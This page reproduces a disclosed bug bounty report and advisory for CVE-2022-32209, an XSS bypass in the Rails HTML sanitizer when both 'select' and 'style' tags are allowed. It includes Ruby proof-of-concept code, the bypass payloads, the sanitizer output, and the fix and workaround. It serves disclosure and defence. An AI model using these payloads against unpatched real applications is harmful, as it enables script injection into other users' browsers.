Skip to content
XSS Disclosed report Intermediate CVE-2022-32209

Rails::Html::SafeListSanitizer vulnerable to xss attack in an environment that allows the style tag

The sanitizer may let script content through when allowed tags include both 'select' and 'style'; a parser difference is suggested but CRuby is also affected.

windshock Follow

Originally disclosed on HackerOne

Bounty$2,400 Medium 6.5 View original
  • Triaged in 16 hours
  • Fixed in 11 days
  • Paid in 11 days
  • Disclosed after 13 days

Summary by the program

[CVE-2022-32209] Possible XSS Vulnerability in Rails::Html::Sanitizer Security Announcements

There is a possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer. This vulnerability has been assigned the CVE identifier CVE-2022-32209.

Versions Affected: ALL Not affected: NONE Fixed Versions: v1.4.3

Impact A possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer may allow an attacker to inject content if the application developer has overridden the sanitizer’s allowed tags to allow both select and style elements.

Code is only impacted if allowed tags are being overridden. This may be done via application configuration:

In config/application.rb

config.action_view.sanitized_allowed_tags = ["select", "style"] see Configuring Rails Applications — Ruby on Rails Guides 1

Or it may be done with a :tags option to the Action View helper sanitize:

<%= sanitize @ comment.body, tags: ["select", "style"] %> see ActionView::Helpers::SanitizeHelper

Or it may be done with Rails::Html::SafeListSanitizer directly:

class-level option

Rails::Html::SafeListSanitizer.allowed_tags = ["select", "style"] or

instance-level option

Rails::Html::SafeListSanitizer.new.sanitize(@ article.body, tags: ["select", "style"]) All users overriding the allowed tags by any of the above mechanisms to include both “select” and “style” should either upgrade or use one of the workarounds immediately.

Releases The FIXED releases are available at the normal locations.

Workarounds Remove either select or style from the overridden allowed tags.

Credits This vulnerability was responsibly reported by windshock.

Security Advisory: https://discuss.rubyonrails.org/t/cve-2022-32209-possible-xss-vulnerability-in-rails-sanitizer/80800

The report

It seems to be a problem caused by a difference between the nokogiri java implementation and the ruby implementation.

jruby9.3.3.0 (nokogiri java), use Rails::Html::SafeListSanitizer.new.sanitize, allow select/style tag code

tags = %w(select style)
puts "------------------------------------------------------------------"
puts "use Rails::Html::SafeListSanitizer.new.sanitize, allow select/style tag"
puts "input: <select<style/>W<xmp<script>alert(1)</script>"
puts "output: "+Rails::Html::SafeListSanitizer.new.sanitize("<select<style/>W<xmp<script>alert(1)</script>", tags: tags).to_s
puts "------------------------------------------------------------------"

result

input: <select<style/>W<xmp<script>alert(1)</script>
scrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :W
scrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :&lt;script&gt;alert(1)&lt;/script&gt;
scrub --> node type :Nokogiri::XML::Element, node name :xmp, node to_s :<xmp>&lt;script&gt;alert(1)&lt;/script&gt;</xmp>
scrub --> node type :Nokogiri::XML::Element, node name :style, node to_s :<style>W<script>alert(1)</script></style>
scrub --> node type :Nokogiri::XML::Element, node name :select, node to_s :<select><style>W<script>alert(1)</script></style></select>
output: <select><style>W<script>alert(1)</script></style></select>

This is a problem for CRuby as well if you use straightforward HTML that doesn't depend on how the parser corrects broken markup.

frag = "<select><style><script>alert(1)</script></style></select>"
tags = %w(select style)
puts Rails::Html::SafeListSanitizer.new.sanitize(frag, tags: tags)

outputs

<select><style><script>alert(1)</script></style></select>

on both CRuby and JRuby.

Impact

It is possible to bypass Rails::Html::SafeListSanitizer filtering and perform an XSS attack.

Attachments

jrubyRails_oom_crash.mp4 From the original on HackerOne

The original report as published on HackerOne, by windshock. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a parser differential between Nokogiri's Java and Ruby implementations causes the sanitizer to mis-handle nested tags, allowing script elements to survive filtering.

What the attacker needed

Application allows both 'select' and 'style' tags; Attacker can submit HTML content

The fix

The vulnerability was fixed in version 1.4.3; as a workaround, remove either 'select' or 'style' from the allowed tags.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A sanitizer is a tool that removes dangerous HTML from user input to prevent script injection. Here, if a developer allowed both 'select' and 'style' tags, the sanitizer failed to strip out a script tag, letting an attacker run code in the browser.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.